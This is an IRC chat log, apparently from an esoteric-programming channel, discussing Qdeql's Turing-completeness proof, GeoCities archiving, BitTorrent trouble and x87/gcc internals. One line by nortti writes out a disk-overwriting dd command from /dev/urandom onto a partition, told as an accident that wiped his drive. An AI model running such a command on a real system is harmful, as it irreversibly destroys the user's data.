01:34:49 <Sgeo> <p_l> Sgeo: nihil novi sub sole. There was something like that long ago, that added a bit of crazy broken lisp to C++ in form of templates
01:44:12 <olsner> elliott: I'm already compiling a whole program to evaluate a lisp expression, might as well compile into a convoluted series of c++ functions instead of evaluating into text output?
01:46:59 <elliott> compiling to C++ with metaprogramming
01:47:18 <olsner> it's like... too close to the stated purpose for comfort
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03:08:53 <elliott> research I would be interested in: how long it takes for loud to stop sounding loud
03:09:21 <elliott> e.g., after turning up some music from "normal" volume levels to make it loud, how long does it take (assuming the volume of the music stays the same) for that new level to start sounding normal?
03:09:23 <augur> elliott: im not. please read what i said more carefully before you ask stupid questions.
03:10:34 <elliott> augur: i did; you clarified that it was actually a bijection between two countable sets, except the topic was whether you could use a method that requires an isomorphism to a specific _uncountable_ set
03:10:52 <augur> elliott: uh.. im pretty sure that's not what the topic was.
03:11:53 <shachaf> elliott: Why don't you count that set, if it's so countable?
03:12:18 <augur> the question, iinm, was why the same game couldnt be played with types in general, and i said that for countable types, you should be able to use an isomorphism to do it, provided the type and the extension of the predicate were both of the same countable cardinality
03:12:24 <elliott> "Equality for Eq a => (Nat -> Bool) -> a [is decidable]." -> "There aren't any countable types that aren't convertible to Nat -> Bool, are there?" -> <you> "yes" -> "so shouldn't we be able to apply the method in the article to any countable set?" -> "No; you need a isomorphism." -> <you> "it is an isomorphism [if you restrict one of the sets]"
03:13:00 <elliott> which is true, but still means it's... not the isomorphism required
03:14:52 <augur> i dont see why you're confused
03:15:25 <augur> <tailcalled> There aren't any countable types that aren't convertible to Nat -> Bool, are there?
03:15:29 <augur> <me> i believe this is true
03:15:47 <augur> followed by a discussion of why.
03:15:52 <elliott> yes, i acknowledge you made no untrue statements
03:15:53 <augur> i dont see where the issue is.
03:16:00 <elliott> but you made irrelevant statements, at least
03:16:11 <elliott> well, "it *is* an isomorphism" is what confuses me
03:16:21 <elliott> because, yes, it's an isomorphism, but not the isomorphism the parent poster was talking about
03:16:57 <augur> a countble type T is iso to some Nat -> Bool
03:17:00 <augur> wheres the problem
03:17:44 <augur> and he seemed to agree that i was saying the same thing he was
03:18:25 <elliott> if it's subset, the whole point is that you need an isomorphism the whole way
03:18:31 <augur> forall T : *. exists f : Nat -> Bool. T ~ Ext f
03:19:02 <elliott> to be able to use the equality for (Eq a => (Nat -> Bool) -> a)
03:19:10 <elliott> w/e, this is going in circles
03:19:38 <augur> honestly i dont see how this relates to that type -- but thats ok
03:20:59 <augur> the post that roconnor linked to doesnt use that type anywhere in it
03:21:13 <augur> but i didnt search it in detail for something that connects to it
03:21:25 <augur> but im not sure how that could be inhabited at all, honestly
03:21:39 <augur> data Empty where deriving (Eq)
03:21:56 <augur> i mean, ignoring a function that just loops
03:22:36 <augur> but non-termination is sort of contra the whole point of infinite tests in finite time
03:23:49 <elliott> equality is decidable for ((Nat -> Bool) -> a) if Eq a
03:25:13 <elliott> forall a, Eq a -> decidable (equality_for ((Nat -> Bool) -> a)))
03:25:38 <augur> then i think what he's saying is valid
03:25:57 <augur> but not in haskell
03:26:03 <augur> cause you cant use haskell for it
03:26:15 <augur> Nat -> Bool <=> Countable Types
03:26:26 <elliott> there's no need for any special type hackery if what he's saying is possible.
03:26:54 <augur> sure, i just mean if you want to state it in haskell at all
03:27:08 <augur> im not sure if what he's saying is _useful_ of course
03:27:39 <augur> because it just means you have a function roughly f : Set -> A, and you can test if it's equal to g : Set -> A if A has decidable equalityu
03:27:44 <elliott> i don't know why i'm bothering trying to divine the meaning of words uttered by the creator of http://esolangs.org/wiki/Absurd_Brainfuck.
03:29:36 <elliott> anyway, ok, i don't understand any more now, but i understand the other posters less to the degree that i'm more confused in general rather than specifically at things yous aid
03:29:57 * Sgeo hmms at Absurd Brainfuck
03:30:17 <elliott> don't hmm at it, it's meaningless
03:30:31 <elliott> even ais523 thinks it's meaningless, and he invented Feather
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03:50:04 <elliott> Hey pikhq, fix my BitTorrent.
03:50:25 <pikhq> What, exactly, is your problem?
03:50:54 <elliott> The 1s are coming in as 0.5s and the 0s, they ain't comin' in at all!
03:51:06 <pikhq> Unless you tell me, I can only advise that you create a pentagram of chicken blood and recite from the Book of Unix.
03:51:16 <elliott> Actually the problem is that it refuses to upload, but I have my suspicions as to unfixable reasons for that and have tried all the obvious things.
03:51:35 <elliott> (That is, not only will it not seed -- instead being "Idle" or "Stalled" -- but when downloading, the upload speed never rises above absolute zero.)
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03:53:19 <pikhq> I suggest you recite from the Book of RFC, 793:15-52.
03:53:25 <pikhq> On a more serious note, I got nothing.
03:53:32 <Jafet> Your NAT must be too chilly... hump your router.
03:53:34 <pikhq> Which client? Transmission?
03:53:59 <pikhq> Doing that trackerless? I seem to recall us having trouble doing that trackerless as the initial seed in the past.
03:54:03 <elliott> Transmission -- and I've forwarded the port it's using on both TCP and UDP, and it confirms it's forwarded (though oddly the first check has a tendency to come back closed -- but then immediately say "open" if I try again -- and it doesn't always do this).
03:54:12 <elliott> Not trackerless; in fact, DHT is turned off.
03:55:02 <elliott> I half-suspect the cause is that the torrents are excellently-seeded enough that the network don't want any of my shitty bandwidth, but from what I know of BitTorrent, that only explains why it wouldn't *seed*, not why it wouldn't upload when downloading, even at a trickle.
03:55:13 <pikhq> (for those too lazy to figure out WTF I referred to, RFC 793, pages 15-52, is the functional specification of TCP)
03:55:30 <elliott> I prefer the imperative specification.
03:55:52 <pikhq> That is pages 53-5300. :P
03:57:41 <elliott> Anyway, it's very annoying. :(
04:09:53 <zzo38> When I build that computer, I have some idea, that any game with cutscenes and credit roll, should recommend, that they can be skipped by pushing the next track button, repeated by pushing the previous track button, and paused by pushing the pause button. Do you have different idea?
04:10:05 <zzo38> (But it is only recommendation; not requirement)
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09:17:13 <kmkr> hi. i've finished a new brainfuck program, haven't made a bigger one in quite some time:
09:17:20 <kmkr> http://www.73b.org/programs/golden.b
09:17:42 <kmkr> it prints the golden ration, never terminating. gets gradually slower.
09:19:42 <kmkr> anyway, if anyone tries it, tell here how far you get. i've ran it to about 400 digits
09:20:01 <kmkr> i have problems with that particular word.....
09:22:44 <kmkr> also, interesting work on qdeql oerjan
09:23:41 <oerjan> thanks! i just now wrapped up the description a bit.
09:25:20 <Sgeo> Is this software pirated?
09:25:53 <Sgeo> ...Leisure Suit Larry, I guess?
09:26:30 <Sgeo> Oh, just wikipediaed
09:26:39 <Sgeo> Apparently it was an age verification thing
09:26:42 <kmkr> always great to see a language being shown to be more powerful than first assumed
09:27:07 <Sgeo> kmkr, Brainfuck is more powerful than as powerful as computers are believed to be able to be?
09:27:21 <Sgeo> ...wow at that sentence
09:27:36 * oerjan thinks Sgeo needs a swat just about now -----###
09:27:37 <kmkr> i was talking about qdeql
09:27:46 <kmkr> about oerjan's qdeql turing-completeness proof
09:27:52 <Sgeo> Oh, monqy Phantom_Hoover did you see the update from before?
09:28:00 <Sgeo> The second grouping of new A6I2
09:37:23 <oklofok> oerjan has done something awesome again?
09:37:28 <oklofok> oerjan: how come u so awesome?
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09:41:40 <Sgeo> Best. Quit Message. Ever.
09:41:48 <oerjan> oklofok: bad judgement.
09:42:51 <oerjan> Phantom_Hoover: well it's not like there's a reason to change the Best. Quit Message. Ever.
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10:04:20 <oklofok> oerjan: where do i get me some of that bad judgement?
10:04:37 <oklofok> but before you answer, i'm going offline for 24 hours
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10:18:36 <zzo38> I think we don't sell that.
10:19:15 <oerjan> of course not, we pay people to take it.
10:19:41 <oerjan> then we make it up in volume.
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14:20:46 <Twirt199> INIT: krnld.p1x (sata001:1:32768-32958)
14:26:56 <Twirt199> Install AAAAAAAAAAAAAA!!!! compiler? (y/n)
14:27:39 <Twirt199> Install Befunge? (Compiler/Interpreter)
14:28:02 <Twirt199> Install Brainfuck? (Compiler/Interpreter)
14:29:15 <Twirt199> Creating partition table at sata001:1...
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17:35:34 <elliott> @ask ais523 What is our policy on modifying your own talk page comments days after they were posted? If we don't have one, make one up.
17:40:07 <elliott> http://web.archive.org/web/20110606223705/http://geocities.com/r_e_s_01/subleq/index.htm
17:40:11 <elliott> I'm so glad this was archived!
17:40:25 <elliott> Best part: "The GeoCities site you were looking for may have been preserved in the Internet Archive's Wayback Machine. To find out, visit Archive.org and enter the site's web address in the field provided."
17:55:39 <elliott> http://esolangs.org/wiki/Talk:Linear_bounded_automaton Hypothesis: Any wiki conversation involving Oleg and (oerjan or r.e.s.) is a completely realistic simulation of banging your head against a wall repeatedly.
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18:41:12 <Sgeo> o.O it's not on reocities
18:42:20 <elliott> Probably Archive Team or the IA have the largest geocities archive.
18:42:29 <elliott> I think Archive Team's only comes in batch torrent form, though.
18:53:32 <Friendship> Looks like the Archive Team's torrent is actually pretty decomposable. I'm downloading the 400MB manifests now.
18:53:41 <Friendship> Then I can check from those if the actual files exist.
19:03:46 <Friendship> Bahahah, just discovered that the title of GeoCities pages is still "GeoCities: Get a web site with easy-to-use site building tools."
19:06:14 <elliott> Why the fuck did they even shut it down
19:06:30 <elliott> I bet the money they're saving they paid ten times over in bandwidth bills as everyone scrambled to mirror it
19:08:55 <Friendship> Welp, geocities.com/r_e_s_01 is lost to the universe.
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19:13:04 <Friendship> Any other geocities sites you want me to check for so long as I've got the manifests?
19:14:09 <elliott> Uhh... probably, but I can't think of any :P
19:14:23 <elliott> Friendship: http://esolangs.org/w/index.php?title=Special%3ALinkSearch&target=*.geocities.com&namespace=
19:16:15 <Friendship> http://it.geocities.com/tonibin/ is linked from Antonio Maschio // fetching
19:16:29 <Friendship> http://www.geocities.com/ResearchTriangle/Station/2266/tarpit/magenta.html is linked from Magenta // on reocities
19:16:50 <elliott> Yah, I reocitified that one.
19:16:55 <Friendship> http://www.geocities.com/brainsub is linked from Talk:Brainfuck // dead
19:17:16 <elliott> Friendship: OTOH http://web.archive.org/web/20091027000829/http://it.geocities.com/tonibin/ has it, so you might not need to bother.
19:17:25 <elliott> But mayhaps it will have a more fuller mirror.
19:18:56 <Friendship> http://www.geocities.com/connorbd/varaq/varaq.pl is linked from Var'aq // seems to be on archive.org
19:19:09 <Phantom_Hoover> I seem to be having an oddly large amount of reddit conversations with lutusp of late.
19:19:19 <Friendship> I'll only mention the problem ones actually X-D
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19:20:14 <Friendship> ineffable_qualtagh is lost to the universe
19:21:23 <elliott> Friendship: P.S. A great way of saying "lost to the universe" is to put {{deadlink}} markers on all of the links :P
19:22:57 <Friendship> I'm already goin' way out of my way here, do it yourself!
19:25:48 <elliott> OK now put them on codu.org.
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19:46:18 <Friendship> OK, My Little Pony: Friendship is Magic has internally-consistent time travel.
19:48:31 <Vorpal> hm, javascript only has floating points right? No integers?
19:48:38 <Vorpal> or am I confusing it with some other language?
19:49:04 <Friendship> Yes and no. It only presents doubles, but all implementations optimize to 32-bit ints when possible.
19:49:22 <Vorpal> Friendship, how do you deal with bitwise operations (if you should need to use that)?
19:50:33 <Friendship> It has bitwise operations builtin, they always treat numbers as 32-bit ints.
19:52:09 <Vorpal> completely unrelated: Does anyone know if WLAN access points that varies the power output depending on the environment (to save power) does so for the beacon frames as well?
20:03:00 <Vorpal> urgh, in LUA if you have a function foo(a,b,c) then calling foo(1,2) will silently end up calling foo(1,2,nil), also foo(1,2,3,4) will silently drop the excess argument.
20:03:48 <elliott> <Friendship> (So truncate if necessary)
20:03:57 <elliott> But doubles can represent values >2^32!
20:04:08 <Vorpal> elliott, they obviously end up truncated
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20:04:33 <Vorpal> elliott, what is more interesting is if a double can represent all 32-bit integers exactly. I'm not sure that is the case.
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20:11:49 <Friendship> elliott: They can represent 52-bit ints, but the bitwise ops in JS truncate to 32.
20:14:47 <elliott> They can represent beyond that, can't they, just imprecisely? :p
20:16:18 <Vorpal> that's more than what I would have expected.
20:17:32 <Deewiant> Floats go to 23 bits, doubles to 52, and x87's 80-bit extended doubles to 64.
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20:19:57 <pikhq> So, x86 has native 64-bit arithmetic?
20:21:36 <Vorpal> pikhq, is there an instruction to convert from floating point to integer though (or is that done in software)? And if so is it only 32-bit or is it 64-bit?
20:22:08 <fizzie> Doesn't JS call of foo(a,b,c) of the form foo(1,2) silently call foo(1,2,undefined) too? (And foo(1,2,3,4) drop the argument, too.)
20:22:13 <Vorpal> pikhq, basically what happens on a 32-bit x86 if you do (long long)myLongDouble
20:22:36 <Friendship> fizzie: Yes, but it doesn't "drop" the argument, it's still accessible, it just doesn't have a named parameter
20:24:07 <Vorpal> anyway, I dislike such behaviour. Erroring on such helps catch bugs. Doing partial evaluation in the case of too few arguments is obviously okay as well if your type system can track that properly (like Haskell).
20:25:06 <Friendship> var x = {}; var y = x.loldoesntexist; function foo(bar) { return bar; }; y = foo(y); // haw haw no errors
20:25:42 <elliott> graue edited, but i don't know if he' seen the qdeql thing
20:25:49 <elliott> <fizzie> Doesn't JS call of foo(a,b,c) of the form foo(1,2) silently call foo(1,2,undefined) too? (And foo(1,2,3,4) drop the argument, too.)
20:25:55 <Vorpal> Friendship, yeah lua makes undefined variables behave as if they were defined to nil, so similar. Quite annoying in either case.
20:25:56 <elliott> fizzie: Youc an tell teh difference with "arguments".
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20:26:43 <fizzie> Vorpal: There is a "store integer" FPU opcode (FIST, FISTP) and it seems to go up to mem64 (for FISTP) in x86-32 also, according to some random instruction set references. (The only "official" PDF ones I have are x86-64-age.)
20:27:01 <oerjan> the long arm of canada
20:30:06 <fizzie> Vorpal: Though fistp rounds according to the current rounding mode, so it's not exactly suitable for (long long)d, unless the compiler bothers to (possibly) change the rounding mode to truncating, then store, then restore the mode.
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20:40:02 <fizzie> Vorpal: Oh, there's also FISTTP m64int "Store Integer with Truncation" opcode. It uses the "chop" mode implicitly, independent of current mode. So that's presumably what it would do.
20:40:44 <fizzie> $ echo 'long long f(double d) { return d; }' | gcc -m32 -masm=intel -x c -o tmp.s -S -; grep -i fist tmp.s
20:40:47 <fizzie> fistp QWORD PTR [ebp-24]
20:42:17 <Vorpal> fizzie, huh, it uses fistp? not fisttp?
20:42:33 <fizzie> It seems to fiddle with the mode.
20:42:38 <fizzie> Maybe there's a reason.
20:42:52 <Vorpal> probably faster or something. Bloody CISC
20:43:03 <fizzie> At least the fistp is surrounded with fldcw "Load x87 FPU Control Word".
20:43:27 * oerjan keeps tweaking that bf2qdeql table slightly
20:43:41 <Vorpal> fizzie, btw what is up with -; ?
20:44:08 <fizzie> Needs -x c so it knows the language.
20:44:18 <Vorpal> where is the pipe from gcc to grep though?
20:44:26 <Vorpal> something isn't right in that line...
20:44:40 <fizzie> It writes that to tmp.c; didn't dare to try outputting to stdout too.
20:44:44 <Vorpal> oh wait I'm just tired
20:44:46 <fizzie> Maybe it works, maybe it doesn't.
20:44:51 <Vorpal> hm so -; is parsed as - ; ?
20:45:22 <fizzie> ; is a command separator no matter where. Well, except when quoted or escaped, I guess.
20:45:29 <Vorpal> I read it as "-;" being passed to gcc, that is what confused me
20:45:40 <fizzie> At least libbfd IIRC can't write binaries into stdout. But maybe assembler source would've worked. I mean, it has that "use pipes" thing too.
20:46:00 <fizzie> Anyway I did find out why it uses "fistp": because "fisttp" is a SSE3 instruction.
20:46:20 <fizzie> Funny that they bothered to add a x87 FPU thing in SSE.
20:46:39 <elliott> oerjan: It's a very pretty table. Can't say I have a clue what it means, though.
20:47:44 <fizzie> Vorpal: $ echo 'long long f(double d) { return d; }' | gcc -m32 -march=core2 -masm=intel -x c -o - -S - | grep -i fist
20:47:47 <fizzie> fisttp QWORD PTR [ebp-16]
20:47:48 <fizzie> Well, that makes sense.
20:47:55 <fizzie> (Also: now with pipes all the way down.)
20:47:59 <oerjan> elliott: well it tells you how to translate each bf command into qdeql, of course!
20:49:15 <oerjan> possibly a little succinctly for comfort.
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20:51:00 <Vorpal> fizzie, actually gcc might end up using a temp file unless you pass -pipe I guess
20:51:12 <Vorpal> not sure if it actually gets to that stage in the compilation here though
20:51:16 <fizzie> Well, pipes as fas as the eye can see.
20:51:22 <Friendship> Yeah, I don't think it would for -S ...
20:51:23 <fizzie> Vorpal: Tried "-march=native" first, forgot that this age-old Athlon X2 won't do anything as fancy as SSE3.
20:51:41 <Vorpal> Friendship, it could do -S by disassembling I guess?
20:51:50 <Vorpal> anyway gcc runs internal processes very early on iirc
20:52:02 <elliott> Why is -pipe not default these days?
20:52:04 <Vorpal> one is called collect2 iirc, seen it in htop output
20:52:44 <oerjan> elliott: for example the row for + tells you that in order to increment a brainfuck cell, you need to perform the action - = = in its padding region. this turns the 0 0 0 there into 255 0 0, which tacks onto the end of the data region. (the default action for padding regions simply delete those 0 0 0 instead.)
20:52:45 <fizzie> 'gcc -v' suggests no files; it only runs cc1 for -S: /usr/lib/x86_64-linux-gnu/gcc/x86_64-linux-gnu/4.5.2/cc1 -quiet -v -imultilib 32 - -D_FORTIFY_SOURCE=2 -quiet -dumpbase - -m32 -march=core2 -masm=intel -auxbase-strip - -version -o - -fstack-protector
20:53:27 <Friendship> The only temp file it might make is preprocessing.
20:53:35 <Friendship> I don't know what its default preference is for that.
20:54:26 <elliott> I wonder what happened to collect1.
20:54:46 <Friendship> The same thing that happened to bzip1.
20:54:55 <elliott> "The program collect2 works by linking the program once and looking through the linker output file for symbols with particular names indicating they are constructor functions. If it finds any, it creates a new temporary `.c' file containing a table of them, compiles it, and links the program a second time including that file."
20:55:42 <fizzie> ("strace -f -e open gcc ... 2>&1 >/dev/null | grep open" suggests even more forcefully no temporary files.)
20:56:08 <Vorpal> elliott, augh, all that to support C++?
20:56:18 <fizzie> (It does open /proc/meminfo three times, though.)
20:56:49 <Vorpal> fizzie, I wonder if it is gcc doing that or some part of glibc doing that
20:56:54 <elliott> Vorpal: No, that has nothing to do with C++.
20:57:20 <Friendship> Does C++ even have a way to represent global constructors?
20:58:49 <fizzie> Friendship: What does that mean? I mean, does it mean constructors for globals?
20:58:54 <pikhq> Um, pretty sure yes.
20:59:17 <pikhq> #include <string>\nstd::string foo = "foo"; // Valid C++
20:59:36 <elliott> GHC has problems with C++ libraries because it doesn't do constructors for globals, which are implemented as constructors.
20:59:51 <elliott> So I believe what fizzie and pikhq are saying is right(?)
20:59:57 <elliott> I don't really know, this is just conjecture.
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21:00:27 <pikhq> Friendship: Not in standard C++. However, __attribute__((constructor)) goes through the same mechanism.
21:00:29 <lambdabot> ais523: You have 1 new message. '/msg lambdabot @messages' to read it.
21:00:47 <fizzie> Friendship: Isn't that just class Singleton { Singleton() { ... } }; Singleton s;, basically?
21:01:05 <pikhq> Okay, yes, you could hack it up with a singleton and define casts.
21:01:07 <fizzie> Sorry, public: in there and whatever.
21:01:08 <lambdabot> elliott asked 3h 25m 32s ago: What is our policy on modifying your own talk page comments days after they were posted? If we don't have one, make one up.
21:01:34 <ais523> elliott: it's OK as long as you aren't misleading people as to the context of replies to those comments
21:02:08 <fizzie> Vorpal: The /proc/meminfo does happen rather late (those are the last three opens, after the .mo message files), so I'd guess GCC, but who knows.
21:02:52 <elliott> ais523: even for substantial additions over the course of days?
21:03:24 <ais523> if the comments haven't been replied to, I don't see a problem
21:03:27 <ais523> although you should probably bump the timestamp
21:03:31 <elliott> they have, I think; and they didn't
21:03:36 <fizzie> Vorpal: http://p.zem.fi/ztez -- feel free to guesstimate what on earth it's doing.
21:04:08 <elliott> http://esolangs.org/w/index.php?title=Talk:Esoteric_Operating_System&diff=next&oldid=30961, http://esolangs.org/w/index.php?title=Talk:Esoteric_Operating_System&diff=next&oldid=30962 were the diffs I was wondering about
21:06:50 <Vorpal> fizzie, I have no idea
21:07:21 <Vorpal> fizzie, those mmap in there confuse me too
21:07:28 <Vorpal> I mean the interleaved ones
21:07:51 <fizzie> Vorpal: I think it's the buffer into which it reads the meminfo stuff.
21:07:58 <Vorpal> unless that is simply due to malloc, but I thought glibc didn't use mmap for malloc unless you used really large allocations
21:08:28 <fizzie> It might use mmap for suitably page-sized allocations too.
21:12:59 <elliott> It uses malloc for everything above a few k, I believe.
21:14:17 <Vorpal> elliott, you mean that it uses mmap?
21:15:33 <fizzie> A mailing list post from 2006-abouts says the mmap/brk threshold is 128K-32M, dynamically selected; they increased it from a fixed 128k for some reason. (The post speaks for memory-zeroing cost, but I'm not sure what that's about.)
21:15:40 <Vorpal> fizzie, btw, strange that it got the same address all three times, I would have expected the kernel to randomise the address a bit
21:15:57 <fizzie> But that was then; it might do something else than a single threshold now, for all I know.
21:16:30 <Vorpal> fizzie, well obviously the kernel has to zero the memory it gives you. If you never release the memory to the kernel there is however no need for that
21:17:01 <fizzie> Sure, but if you expand the brk it's still requesting new memory from the kernel.
21:17:16 <Vorpal> indeed, but you might end up reusing the memory
21:17:26 <fizzie> So I suppose it might also take a peek at how much stuff there is in the free-list-equivalent.
21:17:29 <Vorpal> (I guess doing mremap is more annoying?)
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21:18:53 <fizzie> Okay, in that case where it's doing alloc-free-alloc-free-alloc-free (at least what it looks like) it'd certainly make more sense to use memory from the brk side.
21:21:05 <fizzie> Sadly I'm not quite bored enough to go figuring out why it's doing what it's doing.
21:21:11 <Friendship> wtf, the torrents 'qp' archive didn't actually contain qpliu ...
21:22:23 <fizzie> (ltrace -f with grep open or grep meminfo doesn't match anything, so I can't even check if it's actually calling malloc or what.)
21:23:08 <Vorpal> fizzie, I would guess it isn't gcc doing it then? Unless gcc is directly calling the system call
21:25:35 <Friendship> OK, the manifests in this torrent are totally useless X_X
21:25:49 <Vorpal> Friendship, what torrent=
21:27:49 <pikhq_> Well, to be fair, it is the direct result of "Ohgodohgod wget -R"
21:28:38 <Friendship> I have one page I didn't want that's not in the manifest, and don't have the page I did want that is in the manifest X_X
21:29:44 <Vorpal> bbl, I'm having a bad headache
21:29:45 <elliott> You can download the PATCHED version (recommended): Geocities - The PATCHED Torrent
21:29:46 <elliott> ... or the original torrent which had 0.1% corrupted: Geocities - The Torrent + patch (details)
21:30:08 <elliott> Oh, hmm, just corrupted, not "fucked".
21:31:00 <fizzie> Vorpal: Oh, right; ltrace has a -S too. It calls sysconf(85, ...); <bits/confname.h> suggests that's maybe _SC_PHYS_PAGES or something.
21:31:23 <fizzie> (And then glibc implementation of sysconf ends up doing the meminfo thing.)
21:31:37 <elliott> http://www.textfiles.com/underconstruction/mail/
21:38:07 -!- Friendship has set topic: Roll out the squirrel! We'll have a squirrel of fun! | http://codu.org/logs/_esoteric/ | http://esolangs.org/ has moved servers!.
21:39:54 <elliott> I just remembered I still haven't paid prgmr.
21:40:24 <elliott> http://esolangs.org/w/index.php?title=SSBPL&curid=8325&diff=31001&oldid=30999
21:40:28 <elliott> FINALLY an esolang that popes values.
21:42:00 <nortti> How do you pope a value?
21:42:56 <oerjan> Friendship: i don't think that's a good idea, squirrels are all nuts
21:43:30 <elliott> nortti: http://en.wikipedia.org/wiki/Papal_conclave
21:44:20 <oerjan> nortti: it's easy with cardinal numbers
21:44:45 <nortti> elliot: should I revert it?
21:44:53 <elliott> No, it's OK; the misspelling of my name makes up for it.
21:45:18 <elliott> Also you didn't actually fix it, according to recentchanges :P
21:45:59 <nortti> oh. the page says 504 gateway time-out
21:47:24 <nortti> It works after I reloaded the page
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21:55:46 <elliott> "I intentionally post this here and not in code review since I think that there is not exactly a lot of life in the code review section."
21:55:58 <elliott> Dear everyone: OK, so I'm violating the rules... but you gotta understand, it's for my benefit!
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22:09:36 <elliott> pikhq: Can I, like, pay you to seed my torrents?
22:16:16 <pikhq> No, I'm not going to act as a seed box.
22:17:48 <pikhq> I don't have the HD space to ATM.
22:18:01 <pikhq> Though I could probably profitably remove a lot of utter junk...
22:19:13 <elliott> I wonder if you can somehow seed from an encrypted file, so that the unencrypted data only ever passes through memory.
22:19:23 -!- MoALTz_ has joined.
22:21:36 <elliott> Honestly, I wouldn't care if it would only upload at 10 kb/s, just so long as it would actually upload. This is incredibly frustrating.
22:22:00 <Sgeo> elliott, that wouldn't work in one of those hypothetical systems where memory is really only a cache to the HD, so that it's one address space.
22:22:02 -!- MoALTz has quit (Ping timeout: 244 seconds).
22:22:06 * pikhq needs to buy more drives
22:22:48 <pikhq> Sgeo: They're not very hypothetical, they're fairly historical. :)
22:23:47 <elliott> Multics is hypothetical, man.
22:24:08 <Sgeo> Why did we stop doing that?
22:26:34 -!- oerjan has quit (Quit: Good night).
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22:45:27 <elliott> "One of the necessary properties of a proper static type system is type inference."
22:45:33 <elliott> ais523: Did you know that dependent type systems are improper?
22:45:51 <elliott> "Others are e.g. structural pattern matching and algebraic datatypes." -- type system features, y'hear.
22:45:53 <ais523> hmm, I don't see why they can't use type inference to some extent
22:46:10 <ais523> sure, it's undecidable, but that doesn't mean that you can't infer when it /is/ decidable and leave the program to annotate the tricky bits
22:46:25 <ais523> oh, and ADTs are totally a type system feature (pattern matching isn't)
22:47:03 <elliott> You can do ADTs in a dynamic language.
22:48:47 -!- graue has set topic.
22:48:49 -!- graue has set topic: #esoteric.
22:49:04 <graue> ack. did i just change the topic? i was trying to check what it was
22:49:04 -!- Phantom_Hoover has quit (Remote host closed the connection).
22:49:11 <graue> *does not know how to use his irc client*
22:49:33 -!- nortti has set topic: Roll out the squirrel! We'll have a squirrel of fun! | http://codu.org/logs/_esoteric/ | http://esolangs.org/ has moved servers!.
22:50:06 <nortti> graue: what client are you using?
22:50:09 <elliott> well, #esoteric is a remarkably descriptive topic by our standards :)
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22:50:22 <graue> nortti: i'm using 'bsfirc'
22:50:33 <graue> an unfinished irc client that was abandoned by its author like 8 years ago
22:50:37 <elliott> graue: not sure if you saw, but oerjan proved one of your languages TC: http://esolangs.org/wiki/Qdeql
22:50:51 <graue> because it's what i use *shrug*
22:51:01 <graue> elliott, yeah, i think that's awesome!
22:51:11 <graue> i actually wanted to get to the log website and see if that had been discussed here
22:51:40 <elliott> hasn't really been talked about
22:51:49 -!- MoALTz has joined.
22:51:52 <elliott> he just said he was wondering about it and linked the program a few days later :P
22:52:02 <nortti> graue: http://codu.org/logs/_esoteric
22:52:14 <graue> nortti: got it, thanks
22:53:22 <graue> my wrong conclusion about Qdeql's computational class was up on the wiki for like 6 years and 5 months :P
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22:53:40 <elliott> if you figure out what the tables mean, let us know :p
22:54:00 <graue> i'll keep trying to do that
22:54:11 <elliott> the easiest way to get oerjan to prove something is TC is just to say it isn't, if this and http://esolangs.org/wiki/Underload#Underload_minimization are anything to go by
22:54:58 <nortti> wasn't false's TCnes also proven just recently?
22:55:25 <graue> this is amazing to me: http://oerjan.nvg.org/esoteric/qdeql/gen75
22:55:32 <graue> the qdeql code is massive compared to the bf code
22:56:27 <elliott> can't imagine it's too fast, either
22:57:08 <nortti> well at least it is smaller than underload interpreter in underload that I wrote some time ago
22:57:35 <nortti> and it didn't use the (code)^ trick
22:57:37 <graue> but it's not an interpreter, it's just code to load a cell with the constant 75
22:57:45 <elliott> nortti: you did?! i was gonna write those one day
22:57:50 <elliott> you should put it on the wiki
22:58:20 <elliott> hmm, so does this mean nobody ever managed an infinite loop in Qdeql before now?
22:59:00 <nortti> elliott: I lost it when I accidentally used dd if=/dev/urandom of=/dev/hda1 instead of dd if=/dev/urandom of=/dev/hdb1
22:59:06 <graue> i wrote a cat program much shorter than oerjan's BF-converted one: &\*\/\/&/
22:59:19 <elliott> oh, wait, FSAs can loop forever, silly me...
23:00:03 <elliott> nortti: how did you encode the program?
23:00:09 <graue> i wonder if i could use oerjan's bf to qdeql converter on kmkr's golden ratio in bf program, and it would actually work
23:02:06 <graue> cuz i mean, i notice that oerjan's examples are relatively more simple than that
23:02:15 <nortti> elliott: If I remember correctly I encoded them with church numerals
23:03:53 <elliott> much easier to verify the correctness of small examples... but it looks like the translation is O(n)
23:04:19 <Sgeo> I helped write an abandoned client once
23:04:49 -!- cheater_ has joined.
23:05:13 * pikhq declares the storage market "fucked up beyond recognition".
23:05:22 <Sgeo> Circe (not the emacs one)
23:05:40 <pikhq> Near as I can tell, the most cost-efficient data storage is *external* hard drives.
23:06:06 -!- Lymee has joined.
23:06:49 <graue> i bought a 1TB drive 2 years ago, and still haven't filled it
23:06:54 -!- Madoka-Kaname has quit (Disconnected by services).
23:06:58 -!- Lymee has changed nick to Madoka-Kaname.
23:07:06 <pikhq> ~ has 75G free here.
23:07:57 <graue> 347G, but would be more if i didn't have tons of backups and stuff stored twice etc
23:08:05 <nortti> I have a 40GB HD in my Apple iBook g4/1.2GHz that is my main computer
23:10:09 <graue> so i'm installing a ton of haskell stuff to be able to run BFQdeql.hs
23:10:52 <pikhq> nortti: So, what, you'd be satisfied with just an SSD?
23:11:27 <nortti> pikhq: it isn't a SSDD '-.-
23:12:43 <graue> oh, i see the bf->qdeql converter has a catch
23:14:17 <graue> it only allows bf programs a fixed number of cells; which can hold nonnegative integers of unbounded size
23:14:55 <graue> which is enough for TC, but not how most BF code is written
23:15:40 <elliott> it's like a minsky machine
23:20:27 <graue> so is unbounded-cell BF with 2 cells TC or does it need 3? i forget
23:21:09 <elliott> oerjan proved 3 is enough and thinks 2 is very unlikely to be enough
23:22:33 <graue> is the 3-cell proof online?
23:22:53 <pikhq> nortti: Yes, but it's smaller than common ones.
23:23:29 <nortti> pikhq: I used 10GB HD until summer 2011
23:23:32 <graue> nm, i see it's on the Collatz function wiki page
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23:40:14 <Taneb> I've just had a thought about something that was overthought 5 years ago, that is, quineless languages.
23:40:57 <Taneb> It is impossible to write a quine in Piet, as the source is an image, and the output is text.
23:41:22 <graue> what if the source was an .xpm?
23:41:27 <elliott> The output is binary data, is it not?
23:41:38 <zzo38> graue: Then you had better learn your IRC client
23:41:42 <elliott> I doubt Piet uses Unicode output with unspecified encoding or whatever.
23:43:16 <Taneb> It is not part of Piet's specification to convert the binary data into an image.
23:43:57 <graue> yeah, but your program can print out the binary data corresponding to an image of itself
23:44:22 <Taneb> It prints binary data which can be converted into an image; it does not print out an image
23:44:45 <elliott> By that argument, brainfuck prints binary data which can be converted into a program file; it does not print out a program.
23:45:00 <elliott> A Piet program can perfectly well output a .png bit-identical to the one you run it with.
